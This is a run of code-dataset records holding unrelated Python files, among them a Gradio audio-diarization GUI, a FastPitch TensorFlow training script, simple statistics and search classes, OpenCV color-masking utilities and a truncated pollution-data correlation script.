'Easy-Audio-Diarization✨'\r\nRTTMFILE = 'div.rttm'\r\n\r\ncli_args = {\r\n 'iscolab': {\r\n 'action': 'store_true',\r\n 'help': 'Specifies whether the code is running on Google Colab or not'\r\n },\r\n 'paperspace': {\r\n 'action': 'store_true',\r\n 'help': 'Specifies whether the code is running on Paperspace or not'\r\n },\r\n 'not-autolaunch': {\r\n 'action': 'store_true',\r\n 'help': 'Specifies whether to automatically open the Gradio browser or not/'\r\n },\r\n 'theme': {\r\n 'type': 'str',\r\n 'default': 'gradio/soft'\r\n }\r\n}\r\n\r\nhtml = HTML()\r\nargs = argument_parser(cli_args)\r\n\r\n#region Main functions\r\ndef stop_flag():\r\n der.globals.Stop = True\r\n\r\ndef process_speaker_diarization(audio_file: str, TOKEN: str, rttm_file: str = RTTMFILE, output_dir:str = OUTPUTS_DIR) -> list:\r\n der.globals.Stop = False\r\n\r\n if not audio_file: print('You have to upload the audio first!'); return audio_file\r\n if not TOKEN: print('You have to input a token!'); return audio_file\r\n\r\n combined_list = []\r\n\r\n diarization = load_diarization(audio_file, TOKEN)\r\n dump_rttm(diarization, rttm_file)\r\n original_audio = load_audio(convert_to_mono(audio_file))\r\n segments = read_segments_from_rttm(rttm_file)\r\n os.makedirs(output_dir, exist_ok=True)\r\n combined_audios = {}\r\n\r\n with tqdm(total=len(segments), desc=\"Segment Export\") as pbar:\r\n for idx, (segment, speaker_id) in enumerate(segments):\r\n if der.globals.Stop: return audio_file\r\n\r\n segment_folder= os.path.join(output_dir, speaker_id)\r\n os.makedirs(segment_folder, exist_ok=True)\r\n speaker_segment_file = os.path.join(segment_folder, f\"speaker_{speaker_id}_{idx + 1}.wav\")\r\n\r\n start_time_ms = int(segment.start * 1000)\r\n end_time_ms = int(segment.end * 1000)\r\n segment_audio = original_audio[start_time_ms:end_time_ms]\r\n\r\n segment_audio.export(speaker_segment_file, format=\"wav\")\r\n\r\n combined_audios[speaker_id] = segment_audio if speaker_id not in combined_audios else combined_audios[speaker_id] + segment_audio\r\n\r\n pbar.update(1)\r\n\r\n print(\"Segment export completed.\")\r\n\r\n with tqdm(total=len(combined_audios), desc=\"Combined Audio Export\") as pbar:\r\n for speaker_id, combined_audio in combined_audios.items():\r\n if der.globals.Stop: return audio_file\r\n\r\n combined_folder = os.path.join(output_dir, speaker_id, \"combined\")\r\n os.makedirs(combined_folder, exist_ok=True)\r\n\r\n combined_audio_file = os.path.join(combined_folder, f\"speaker_{speaker_id}_combined.wav\")\r\n combined_list.append(combined_audio_file)\r\n\r\n save_combined_audio(combined_audio, combined_audio_file)\r\n yield combined_list\r\n\r\n pbar.update(1)\r\n\r\n print(\"Combined audio export completed.\")\r\n return combined_list\r\n#endregion\r\n\r\n#region Gradio\r\ndef GradioInit(Theme: str) -> gr.Blocks:\r\n \"\"\"\r\n ## Gradio initiation function\r\n ### Args:\r\n - Theme (:class:`str`): Gradio theme. Format: `'author/name'`\r\n - You can get Gradio themes at https://huggingface.co/spaces/gradio/theme-gallery\r\n \"\"\"\r\n\r\n with gr.Blocks(theme=Theme, title=TITLE) as app:\r\n with gr.Column():\r\n with gr.Row():\r\n gr.HTML(html._input)\r\n gr.HTML(html._output)\r\n\r\n with gr.Row():\r\n input_audio = gr.Audio(\r\n label = 'Upload files',\r\n type = 'filepath'\r\n )\r\n output_audio = gr.File(\r\n label = 'Download files',\r\n type = 'file',\r\n file_count = 'multiple',\r\n interactive= False\r\n )\r\n \r\n with gr.Row():\r\n with gr.Accordion(label = 'Instructions'):\r\n gr.HTML(html._instruct)\r\n\r\n API_Key = gr.Textbox(\r\n label = 'API key',\r\n type = 'password',\r\n placeholder = 'Insert your API key here.',\r\n show_label = True,\r\n show_copy_button = True\r\n )\r\n\r\n with gr.Row():\r\n run_button = gr.Button(value = 'Run', variant = 'primary')\r\n stop_button = gr.Button(value = 'Stop', variant = 'stop' )\r\n\r\n run_event = run_button.click(\r\n fn = process_speaker_diarization,\r\n inputs = [input_audio, API_Key],\r\n outputs = [output_audio]\r\n )\r\n\r\n stop_button.click(\r\n fn = lambda: der.globals.__setattr__('Stop', True),\r\n cancels = [run_event],\r\n )\r\n\r\n return app\r\n#endregion\r\n\r\ndef run():\r\n app = GradioInit(args.theme)\r\n concurrency_count = 511\r\n max_size = 1022\r\n share = True if args.iscolab or args.paperspace else False\r\n\r\n app.queue(concurrency_count=concurrency_count, max_size=max_size)\r\n app.launch(\r\n server_name=\"0.0.0.0\",\r\n server_port=None,\r\n inbrowser=(not args.not_autolaunch),\r\n quiet=True,\r\n share=share,\r\n )\r\n\r\nif __name__ == \"__main__\":\r\n run()","repo_name":"alexlnkp/Easy-Audio-Diarisation","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5823,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"17842696374","text":"\nclass CSilnia:\n\n def silnia(self,n):\n if n in [0,1]:\n return 1\n else:\n return n*self.silnia(n-1)\n\npsilnia=CSilnia()\nn=int(input('daj l. calkowitą nieujemną'))\nprint('silnia : ',psilnia.silnia(n) )","repo_name":"secondhandhero/prog1","sub_path":"silnia1.py","file_name":"silnia1.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"75370934293","text":"import numpy as np\nimport cvxpy as cp\nimport pandas as pd\nfrom typing import List\nimport matplotlib.pyplot as plt\n\n\nnp.random.seed(seed=1)\n\nclass GaussGen:\n\n def __init__(self,mean1:List[int], mean2:List[int], cov1:List[int], cov2:List[int], NoOfSamples:int, FracOfTest:float, class1:int, class2:int):\n self.mean1 = mean1\n self.mean2 = mean2\n self.cov1 = cov1\n self.cov2 = cov2\n self.NoOfSamples = NoOfSamples #Total number of samples to be generated\n self.frac = FracOfTest #Percentage of entire set should be set aside asd test\n self.class1 = class1\n self.class2 = class2\n\n def DistGen(self):\n #Output dimension of x1 will be: (NoOfSamplesX2) numpy array\n x1 = np.random.multivariate_normal(self.mean1, self.cov1, self.NoOfSamples)\n\n #output labels for class 1: we will use -1\n out1 = (np.ones(self.NoOfSamples)*(self.class1)).reshape(self.NoOfSamples,1) \n dataClass1=np.concatenate((out1,x1),axis=1)\n df1 = pd.DataFrame(dataClass1, columns = ['label','Feature1','Feature2'])\n testdf1 = df1.sample(frac = self.frac)\n #Train set is constructed using the remaing data in df1\n traindf1 = df1.drop(testdf1.index)\n\n\n #Output dimension of x2 will be: (NoOfSamplesX2) numpy array\n x2 = np.random.multivariate_normal(self.mean2, self.cov2, self.NoOfSamples)\n\n #output labels for class 2: we will use 1\n out2 = (np.ones(self.NoOfSamples)*self.class2).reshape(self.NoOfSamples,1)\n dataClass2=np.concatenate((out2,x2),axis=1)\n df2 = pd.DataFrame(dataClass2, columns = ['label','Feature1','Feature2'])\n testdf2 = df2.sample(frac = self.frac)\n #Train set is constructed using the remaing data in df2\n traindf2 = df2.drop(testdf2.index)\n\n #Entire data set\n fulltrainDf = pd.concat([traindf1,traindf2],axis=0).reset_index(drop=True)\n fulltestDf = pd.concat([testdf1,testdf2],axis=0).reset_index(drop=True)\n #print (\"Entire Test set: \", fulltestDf.reset_index(drop=True))\n #print (\"Entire Train set: \", fulltrainDf.reset_index(drop=True))\n return fulltrainDf, fulltestDf\n \n","repo_name":"TejasViswa/236A-LP-Project","sub_path":"Part2/GaussianGen.py","file_name":"GaussianGen.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29249116826","text":"'''Statistics functions'''\n\nimport numpy\n\nclass TinyStatistician:\n\n def __init__(self) -> None:\n pass\n\n def mean(self, x):\n '''Computes the mean value of a list of numbers'''\n if not isinstance(x, (list, numpy.ndarray)) or any(not isinstance(item, (float, int)) for item in x ):\n print(\"Function 'mean' takes only a list or an array of numbers as parameter\")\n return None\n if not x:\n return None\n total = 0.0\n for item in x:\n total += item\n return total / len(x)\n\n def median(self, x):\n '''Computes the median value of a list of numbers'''\n if not isinstance(x, (list, numpy.ndarray)) or any(not isinstance(item, (float, int)) for item in x ):\n print(\"Function 'median' takes only a list or an array of numbers as parameter\")\n return None\n if not x:\n return None\n y = x\n y.sort()\n if len(y) % 2 == 1:\n return y[len(y) // 2]\n return (y[len(y) // 2] + y[-1 + len(y) // 2]) / 2\n\n def quartiles(self, x):\n '''Computes the first and third quartiles of a list of numbers'''\n if not isinstance(x, (list, numpy.ndarray)) or any(not isinstance(item, (float, int)) for item in x ):\n print(\"Function 'quartiles' takes only a list or an array of numbers as parameter\")\n return None\n if not x:\n return None\n y = x\n y.sort()\n return [float(y[len(y) // 4]), float(y[3 * len(y) // 4])]\n\n def var(self, x):\n '''Computes the variance of a list of numbers'''\n if not isinstance(x, (list, numpy.ndarray)) or any(not isinstance(item, (float, int)) for item in x ):\n print(\"Function 'var' takes only a list or an array of numbers as parameter\")\n return None\n if not x:\n return None\n total = 0.0\n for item in x:\n total += (item - self.mean(x)) ** 2\n return total / len(x)\n\n def std(self, x):\n '''Computes the standard deviation of a list of numbers'''\n if not isinstance(x, (list, numpy.ndarray)) or any(not isinstance(item, (float, int)) for item in x ):\n print(\"Function 'var' takes only a list or an array of numbers as parameter\")\n return None\n var = self.var(x)\n if not var:\n return None\n else:\n return var ** 0.5\n\n\nif __name__ == \"__main__\":\n tstat = TinyStatistician()\n a = [1, 42, 300, 10, 59]\n b = [1, 5, 7, 89]\n print(tstat.mean(a))\n # Expected result: 82.4\n print(tstat.mean(b))\n # Expected result: 25.5\n print(tstat.median(a))\n # Expected result: 42.0\n print(tstat.median(b))\n # Expected result: 6.0\n print(tstat.quartiles(a))\n # Expected result: [10.0, 59.0]\n print(tstat.quartiles(b))\n # Expected result: [5.0, 89.0]\n print(tstat.var(a))\n # Expected result: 12279.439999999999\n print(tstat.var(b))\n # Expected result: 1348.75\n print(tstat.std(a))\n # Expected result: 110.81263465868862\n print(tstat.std(b))\n # Expected result: 36.72533185690771","repo_name":"ababoum/42_python_pool","sub_path":"module02/ex05/TinyStatistician.py","file_name":"TinyStatistician.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22155342097","text":"class Frontier():\r\n\r\n def __init__(self):\r\n self.frontier=[]\r\n\r\n def insert(self,node):\r\n\r\n self.frontier.append(node)\r\n self.frontier.sort(key= lambda element: element.state[1])\r\n\r\n def isEmpty(self):\r\n return len(self.frontier) == 0\r\n\r\n def pop(self):\r\n if len(self.frontier)==0:\r\n raise Exception('error')\r\n elif len(self.frontier)==1:\r\n a= self.frontier[0]\r\n self.frontier=[]\r\n return a\r\n else:\r\n a=self.frontier[0]\r\n self.frontier=self.frontier[1:]\r\n return a\r\n\r\n def containsState(self,state):\r\n return any(node.state==state for node in self.frontier)\r\n\r\n def printf(self):\r\n list=[]\r\n for node in self.frontier:\r\n list.append(node.state)\r\n print(list)\r\n\r\n\r\nclass Node():\r\n\r\n def __init__(self,state,cost,parent,action):\r\n self.state=(state,cost)\r\n self.parent=parent\r\n self.action=action\r\n\r\nclass Map():\r\n\r\n def __init__(self,filename):\r\n\r\n with open(filename) as f:\r\n content=f.read()\r\n self.contents=content.splitlines()\r\n\r\n self.height=len(self.contents)\r\n self.width=max(len(line) for line in self.contents)\r\n\r\n self.road=[[False for num in range(self.width)] for num in range(self.height)]\r\n\r\n for i in range(self.height):\r\n for j in range(self.width):\r\n try:\r\n\r\n if self.contents[i][j]=='-':\r\n self.road[i][j]=True\r\n if self.contents[i][j].isalpha()==True:\r\n self.road[i][j]='city'\r\n if self.contents[i][j]=='a':\r\n self.root=(i,j)\r\n if self.contents[i][j]=='c':\r\n self.goal=(i,j)\r\n except IndexError:\r\n pass\r\n def findChild(self,state):\r\n\r\n ((i,j),cost)=state\r\n actions = [\r\n ('north',((i-1,j),cost+1)),\r\n ('south',((i+1,j),cost+1)),\r\n ('west',((i,j-1),cost+1)),\r\n ('east',((i,j+1),cost+1)),\r\n ('north-east',((i-1,j+1),cost+1)),\r\n ('north-west',((i-1,j-1),cost+1)),\r\n ('south-west',((i+1,j-1),cost+1)),\r\n ('south-east',((i+1,j+1),cost+1))\r\n ]\r\n self.content=[]\r\n for line in self.contents:\r\n self.content.append(list(self.contents))\r\n\r\n result=[]\r\n for action, ((r,c), costing) in actions:\r\n if 0<=r 1 enables speaker embeddings')\n\tcond.add_argument('--load-pitch-from-disk', action='store_true',\n\t\t\t\t\t help='Use pitch cached on disk with prepare_dataset.py')\n\tcond.add_argument('--pitch-online-method', default='pyin',\n\t\t\t\t\t choices=['pyin'],\n\t\t\t\t\t help='Calculate pitch on the fly during trainig')\n\tcond.add_argument('--pitch-online-dir', type=str, default=None,\n\t\t\t\t\t help='A directory for storing pitch calculated on-line')\n\tcond.add_argument('--pitch-mean', type=float, default=214.72203,\n\t\t\t\t\t help='Normalization value for pitch')\n\tcond.add_argument('--pitch-std', type=float, default=65.72038,\n\t\t\t\t\t help='Normalization value for pitch')\n\tcond.add_argument('--load-mel-from-disk', action='store_true',\n\t\t\t\t\t help='Use mel-spectrograms cache on the disk') # XXX\n\n\taudio = parser.add_argument_group('audio parameters')\n\taudio.add_argument('--max-wav-value', default=32768.0, type=float,\n\t\t\t\t\t help='Maximum audiowave value')\n\taudio.add_argument('--sampling-rate', default=22050, type=int,\n\t\t\t\t\t help='Sampling rate')\n\taudio.add_argument('--filter-length', default=1024, type=int,\n\t\t\t\t\t help='Filter length')\n\taudio.add_argument('--hop-length', default=256, type=int,\n\t\t\t\t\t help='Hop (stride) length')\n\taudio.add_argument('--win-length', default=1024, type=int,\n\t\t\t\t\t help='Window length')\n\taudio.add_argument('--mel-fmin', default=0.0, type=float,\n\t\t\t\t\t help='Minimum mel frequency')\n\taudio.add_argument('--mel-fmax', default=8000.0, type=float,\n\t\t\t\t\t help='Maximum mel frequency')\n\n\tdist = parser.add_argument_group('distributed setup')\n\tdist.add_argument('--local_rank', type=int, default=os.getenv('LOCAL_RANK', 0),\n\t\t\t\t\t help='Rank of the process for multiproc; do not set manually')\n\tdist.add_argument('--world_size', type=int, default=os.getenv('WORLD_SIZE', 1),\n\t\t\t\t\t help='Number of processes for multiproc; do not set manually')\n\treturn parser\n\n\ndef main():\n\tparser = argparse.ArgumentParser(\n\t\tdescription='PyTorch FastPitch Training',\n\t\tallow_abbrev=False\n\t)\n\tparser = parse_args(parser)\n\targs, _ = parser.parse_known_args()\n\n\tif args.p_arpabet > 0.0:\n\t\tcmudict.initialize(args.cmudict_path, args.heteronyms_path)\n\n\ttf.random.set_seed(args.seed)\n\tnp.random.seed(args.seed)\n\t# tf.random.set_seed(1234)\n\t# np.random.seed(1234)\n\n\t# Parse model specific arguments.\n\tparser = parse_model_args(\"FastPitch\", parser)\n\targs, unk_args = parser.parse_known_args()\n\n\tif len(unk_args) > 0:\n\t\traise ValueError(f\"Invalid options {unk_args}\")\n\n\t# print(json.dumps(parser))\n\t# print(parser)\n\t# print(args)\n\n\tattention_kl_loss = AttentionBinarizationLoss()\n\toptimizer = keras.optimizers.Adam()\n\tloss = FastpitchLoss(\n\t\tdur_predictor_loss_scale=args.dur_predictor_loss_scale,\n\t\tpitch_predictor_loss_scale=args.pitch_predictor_loss_scale,\n\t\tattn_loss_scale=args.attn_loss_scale\n\t)\n\n\t# -----------------------------------------------------------------\n\t# Data loading.\n\ttext_cleaners = ['english_cleaners_v2']\n\tdataset_path = './ljspeech_train'\n\t# filelist = './filelists/ljs_audio_text_train_v3.txt'\n\t# filelist = './filelists/ljs_audio_text_val.txt'\n\ttrain_filelist = './filelists/ljs_audio_text_train_v3.txt'\n\tvalid_filelist = './filelists/ljs_audio_text_val.txt'\n\n\textract_mels = True\n\textract_pitch = True\n\tsave_alignment_priors = True\n\n\t# mel extraction\n\tn_speakers = 1\n\tmax_wav_value = 32768.0\n\tsampling_rate = 22050\n\tfilter_length = 1024\n\thop_length = 256\n\twin_length = 1024\n\tmel_fmin = 0.0\n\tmel_fmax = 8000.0\n\tn_mel_channels = 80\n\tf0_method = 'pyin'\n\tbatch_size = 4#1\n\n\ttrain_dataset = Data(\n\t\tdataset_path, \n\t\ttrain_filelist, \n\t\ttext_cleaners=text_cleaners,\n\t\tn_mel_channels=n_mel_channels,\n\t\tp_arpabet=0.0,\n\t\tn_speakers=n_speakers,\n\t\tload_mel_from_disk=True,#False,\n\t\tload_pitch_from_disk=False,\n\t\tpitch_mean=None,\n\t\tpitch_std=None,\n\t\tmax_wav_value=max_wav_value,\n\t\tsampling_rate=sampling_rate,\n\t\tfilter_length=filter_length,\n\t\thop_length=hop_length,\n\t\twin_length=win_length,\n\t\tmel_fmin=mel_fmin,\n\t\tmel_fmax=mel_fmax,\n\t\tbetabinomial_online_dir=None,\n\t\tpitch_online_dir=None,\n\t\tpitch_online_method=f0_method\n\t)\n\tvalid_dataset = Data(\n\t\tdataset_path, \n\t\tvalid_filelist, \n\t\ttext_cleaners=text_cleaners,\n\t\tn_mel_channels=n_mel_channels,\n\t\tp_arpabet=0.0,\n\t\tn_speakers=n_speakers,\n\t\tload_mel_from_disk=True,#False,\n\t\tload_pitch_from_disk=False,\n\t\tpitch_mean=None,\n\t\tpitch_std=None,\n\t\tmax_wav_value=max_wav_value,\n\t\tsampling_rate=sampling_rate,\n\t\tfilter_length=filter_length,\n\t\thop_length=hop_length,\n\t\twin_length=win_length,\n\t\tmel_fmin=mel_fmin,\n\t\tmel_fmax=mel_fmax,\n\t\tbetabinomial_online_dir=None,\n\t\tpitch_online_dir=None,\n\t\tpitch_online_method=f0_method\n\t)\n\n\ttrain_dataset.get_max_lengths()\n\ttrain_text_max = train_dataset.max_input_len\n\ttrain_mel_max = train_dataset.max_target_len\n\ttrain_data = tf.data.Dataset.from_generator(\n\t\ttrain_dataset.generator,\n\t\targs=(),\n\t\toutput_signature=(\n\t\t\t# tf.TensorSpec(shape=(None,), dtype=tf.int64),\t\t\t# text_encoded\n\t\t\t# tf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# input_lengths\n\t\t\t# tf.TensorSpec(\n\t\t\t# \tshape=(None, n_mel_channels), dtype=tf.float32\n\t\t\t# ),\t\t\t\t\t\t\t\t\t\t\t\t\t\t# mel\n\t\t\t# tf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# output_lengths\n\t\t\t# tf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# text_length\n\t\t\t# tf.TensorSpec(shape=(None, None), dtype=tf.float32),\t# pitch\n\t\t\t# tf.TensorSpec(shape=(None,), dtype=tf.float32),\t\t\t# energy\n\t\t\t# tf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# speaker id\n\t\t\t# tf.TensorSpec(shape=(None, None), dtype=tf.float32),\t# attn prior\n\t\t\t# tf.TensorSpec(shape=(), dtype=tf.string),\t\t\t\t# audiopath\n\t\t\ttf.TensorSpec(shape=(train_text_max,), dtype=tf.int64),\t# text_encoded\n\t\t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# input_lengths\n\t\t\ttf.TensorSpec(\n\t\t\t\tshape=(train_mel_max, n_mel_channels), dtype=tf.float32\n\t\t\t),\t\t\t\t\t\t\t\t\t\t\t\t\t\t# mel\n\t\t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# output_lengths\n\t\t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# text_length\n\t\t\ttf.TensorSpec(\n\t\t\t\tshape=(1, train_mel_max + 4), dtype=tf.float32\n\t\t\t),\t\t\t\t\t\t\t\t\t\t\t\t\t\t# pitch\n\t\t\ttf.TensorSpec(shape=(train_mel_max,), dtype=tf.float32),# energy\n\t\t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# speaker id\n\t\t\ttf.TensorSpec(\n\t\t\t\tshape=(train_text_max, train_mel_max), dtype=tf.float32\n\t\t\t),\t\t\t\t\t\t\t\t\t\t\t\t\t\t# attn prior\n\t\t\ttf.TensorSpec(shape=(), dtype=tf.string),\t\t\t\t# audiopath\n\t\t\t# tf.TensorShape((batch_size, train_text_max)),\n\t\t\t# tf.TensorShape((batch_size,)),\n\t\t\t# tf.TensorShape((batch_size, train_mel_max, n_mel_channels)),\n\t\t\t# tf.TensorShape((batch_size,)),\n\t\t\t# tf.TensorShape((batch_size,)),\n\t\t\t# tf.TensorShape((batch_size, 1, train_mel_max)),\n\t\t\t# tf.TensorShape((batch_size, train_mel_max)),\n\t\t\t# tf.TensorShape((batch_size)),\n\t\t\t# tf.TensorShape((batch_size, train_text_max, train_mel_max)),\n\t\t\t# tf.TensorShape((batch_size,)),\n\t\t),\n\t\t# output_shapes=(\n\t\t# \t(train)\n\t\t# ),\n\t\t# output_types=(\n\t\t# \ttf.int64, tf.int64, tf.float32, tf.int64, tf.int64, \n\t\t# \ttf.float32, tf.float32, tf.int64, tf.float32, tf.string,\n\t\t# )\n\t)\n\t# valid_data = tf.data.Dataset.from_generator(\n\t# \tvalid_dataset.generator,\n\t# \targs=(),\n\t# \toutput_signature=(\n\t# \t\ttf.TensorSpec(shape=(None,), dtype=tf.int64),\t\t\t# text_encoded\n\t# \t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# input_lengths\n\t# \t\ttf.TensorSpec(\n\t# \t\t\tshape=(None, n_mel_channels), dtype=tf.float32\n\t# \t\t),\t\t\t\t\t\t\t\t\t\t\t\t\t\t# mel\n\t# \t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# output_lengths\n\t# \t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# text_length\n\t# \t\ttf.TensorSpec(shape=(None, None), dtype=tf.float32),\t# pitch\n\t# \t\ttf.TensorSpec(shape=(None,), dtype=tf.float32),\t\t\t# energy\n\t# \t\ttf.TensorSpec(shape=(), dtype=tf.int64),\t\t\t\t# speaker id\n\t# \t\ttf.TensorSpec(shape=(None, None), dtype=tf.float32),\t# attn prior\n\t# \t\ttf.TensorSpec(shape=(), dtype=tf.string),\t\t\t\t# audiopath\n\t# \t),\n\t# )\n\t'''\n\twith tf.device('/cpu:0'): # Use CPU because GPU OOMs here (but will not when using generator). This may cost some speed.\n\t\ttrain_data_alt = tf.data.Dataset.from_tensor_slices(\n\t\t\ttrain_dataset.tensor_slices()\n\t\t)\n\t\tvalid_data_alt = tf.data.Dataset.from_tensor_slices(\n\t\t\tvalid_dataset.tensor_slices()\n\t\t)\n\t'''\n\t# -----------------------------------------------------------------\n\n\t# See to this link as to why I call tf.data.Dataset.batch() to see\n\t# batch size in the model: \n\t# https://github.com/tensorflow/tensorflow/issues/43094#issuecomment-690919548\n\ttrain_data = train_data.batch(batch_size).prefetch(tf.data.AUTOTUNE) # Uses generator\n\t# train_data = train_data.batch(2)\n\t# train_data_alt = train_data_alt.batch(batch_size).prefetch(tf.data.AUTOTUNE) # Uses from_tensor_slices\n\n\tmodel_config = get_fastpitch_config(args)\n\tprint(json.dumps(model_config, indent=4))\n\tmodel = FastPitch(**model_config)\n\tmodel.compile(\n\t\t# optimizer=optimizer, loss=[loss, attention_kl_loss],\n\t\toptimizer=optimizer, loss=loss,\n\t\t# run_eagerly=True # Used when debugging the architecture\n\t)\n\n\t# model.build()\n\t# model.summary()\n\t# exit()\n\n\tmodel.fit(train_data, epochs=1)#, batch_size=4) # Uses generator\n\t# model.fit(train_data_alt, epochs=1, batch_size=4) # Uses from_tensor_slices\n\n\t# Exit the program.\n\texit(0)\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"dmmagdal/NeuralTextToSpeech","sub_path":"FastPitch_TF/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":14377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"35920308752","text":"#importing the necessary libraries\nimport cv2 \nimport numpy as np\n\n#capturing the camera\ncapture = cv2.VideoCapture(0)\n\n# setting the default color range \nlower = np.array([0, 0, 0])\nupper = np.array([10, 255, 255])\n\n#running an infinite loop\nwhile True:\n \n #reading from the camera\n _, frame = capture.read()\n \n #converting the image to hsv\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n \n #setting the mask\n mask = cv2.inRange(hsv, lower, upper)\n \n #showing the masked image\n cv2.imshow('image', mask)\n \n #setting a trackbar to adjust the color range\n cv2.createTrackbar('low_h', 'image', 0, 180, lambda v: None)\n cv2.createTrackbar('low_s', 'image', 0, 255, lambda v: None)\n cv2.createTrackbar('low_v', 'image', 0, 255, lambda v: None)\n \n cv2.createTrackbar('high_h', 'image', 0, 180, lambda v: None)\n cv2.createTrackbar('high_s', 'image', 0, 255, lambda v: None)\n cv2.createTrackbar('high_v', 'image', 0, 255, lambda v: None)\n \n #assigning values to the lower and upper range from the trackbar\n low_h = cv2.getTrackbarPos('low_h', 'image')\n low_s = cv2.getTrackbarPos('low_s', 'image')\n low_v = cv2.getTrackbarPos('low_v', 'image')\n \n high_h = cv2.getTrackbarPos('high_h', 'image')\n high_s = cv2.getTrackbarPos('high_s', 'image')\n high_v = cv2.getTrackbarPos('high_v', 'image')\n \n #assigning the values to the lower and upper arrays\n lower = np.array([low_h, low_s, low_v])\n upper = np.array([high_h, high_s, high_v])\n \n #breaking the loop on pressing escape\n if cv2.waitKey(1) == 27:\n break\n\n#releasing the capture\ncapture.release()\n\n#destroying all windows\ncv2.destroyAllWindows()\n","repo_name":"Gvit0/temp","sub_path":"keep_selected_color.py","file_name":"keep_selected_color.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34244726511","text":"class CreateDataLakeInput:\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\n \"type\": \"string\"\n },\n \"description\": {\n \"type\": \"string\"\n },\n \"config\": {\n \"type\": \"string\"\n },\n },\n \"additionalProperties\": False,\n \"required\": [\"name\", \"description\", \"config\"]\n }\n\n @classmethod\n def from_json(cls, data):\n self = cls()\n self.name = data[\"name\"]\n self.description = data[\"description\"]\n self.config = data[\"config\"]\n return self\n\n","repo_name":"stonezhong/sparkbase","sub_path":"server/main/api_input/models/create_datalake_input.py","file_name":"create_datalake_input.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23985133903","text":"import cv2\nimport numpy as np\nfrom math import floor, sqrt, pi\nimport matplotlib.pyplot as plt\n\n\ndef getGaussianKernel(sx, sy, mu = 0, sigma = 50):\n #Creation of meshgrids along x and y\n Y = np.linspace(-floor(sy/2), floor((sy-1)/2), sy)*np.ones([sx,sy])\n X = np.linspace(-floor(sx/2), floor((sx-1)/2), sx)*np.ones([sy,sx])\n X = np.transpose(X)\n\n #Creation of a gaussian kernel\n S = 1.0/sqrt(2*pi*sigma) * (np.exp(-(np.square(X)+np.square(Y))/(2*sigma*sigma)))\n\n return S\n \n\ndef Cleaning(im):\n \n #Structuring elements for erosion\n structElemEro = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5,5))\n #Structuring element for dilation\n structElemDil = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5,5))\n \n # # Erosion\n # im = cv2.erode(im, structElemEro)\n\n # #Median filter\n ksize = 3\n im = cv2.medianBlur(im, ksize)\n\n # Dilation\n im = cv2.dilate(im, structElemDil)\n\n # # Gaussian filtering in Fourier space\n # G = getGaussianKernel(np.shape(im)[0], np.shape(im)[1])\n # IM = np.fft.fft2(im/255)\n # IM = np.fft.fftshift(IM)\n # newIm = np.abs(np.fft.ifft2(IM*G))*255\n # cv2.imshow('rec', newIm)\n # cv2.imshow('fft', G*np.abs(IM) / np.max(np.abs(IM)))\n\n\n return im\n\n\n\ndef UpdateColor(seg, im):\n\n # Convert to hsv\n hsvIm = cv2.cvtColor(im, cv2.COLOR_BGR2HSV)\n\n # Mask according to the segmentation the hand\n S = np.tile(seg, [3,1,1])\n S = np.swapaxes(S,0,2)\n S = np.swapaxes(S,0,1)\n S = (S/255)\n I = np.uint8(hsvIm*S)\n\n # Get the mean color\n s = np.sum(np.sum(I, axis = 0), axis = 0) / np.sum(seg)\n\n #Adapt hsv values\n s[0] *= 179\n s[1:3] *= 255\n\n # print(s)\n\n return s\n\n","repo_name":"Guillaume0477/PROJET_Image_JV","sub_path":"Projet/Python/Py_utils.py","file_name":"Py_utils.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15654730","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 27 15:28:15 2018\r\n\r\n@author: mmaaz\r\n\"\"\"\r\n\r\nimport csv\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom complete import complete\r\nnp.set_printoptions(threshold=np.inf)\r\n\r\ndef main():\r\n directory= \"C:/Users/mmaaz/Documents/Programming/Introduction to Bioinformatics Algorithms/Ass_1/specdata\"\r\n corr(directory, 400)\r\n \r\n\r\ndef corr(directory, threshold):\r\n \r\n #open only those files whose nobs >threshold\r\n corrVect= []\r\n d= complete(directory, id=range(1,333))\r\n for i in range(0, len(d)):\r\n if (d.loc[i]['nobs']> threshold):\r\n n= d.loc[i]['id']\r\n with open(directory+ \"/{num:0>3}.csv\".format(num=str(n))) as csvfile:\r\n \r\n reader = csv.reader(csvfile, delimiter='\\n')\r\n next(reader)\r\n \r\n sulf_vect= []\r\n nit_vect=[]\r\n \r\n for row in reader:\r\n items= 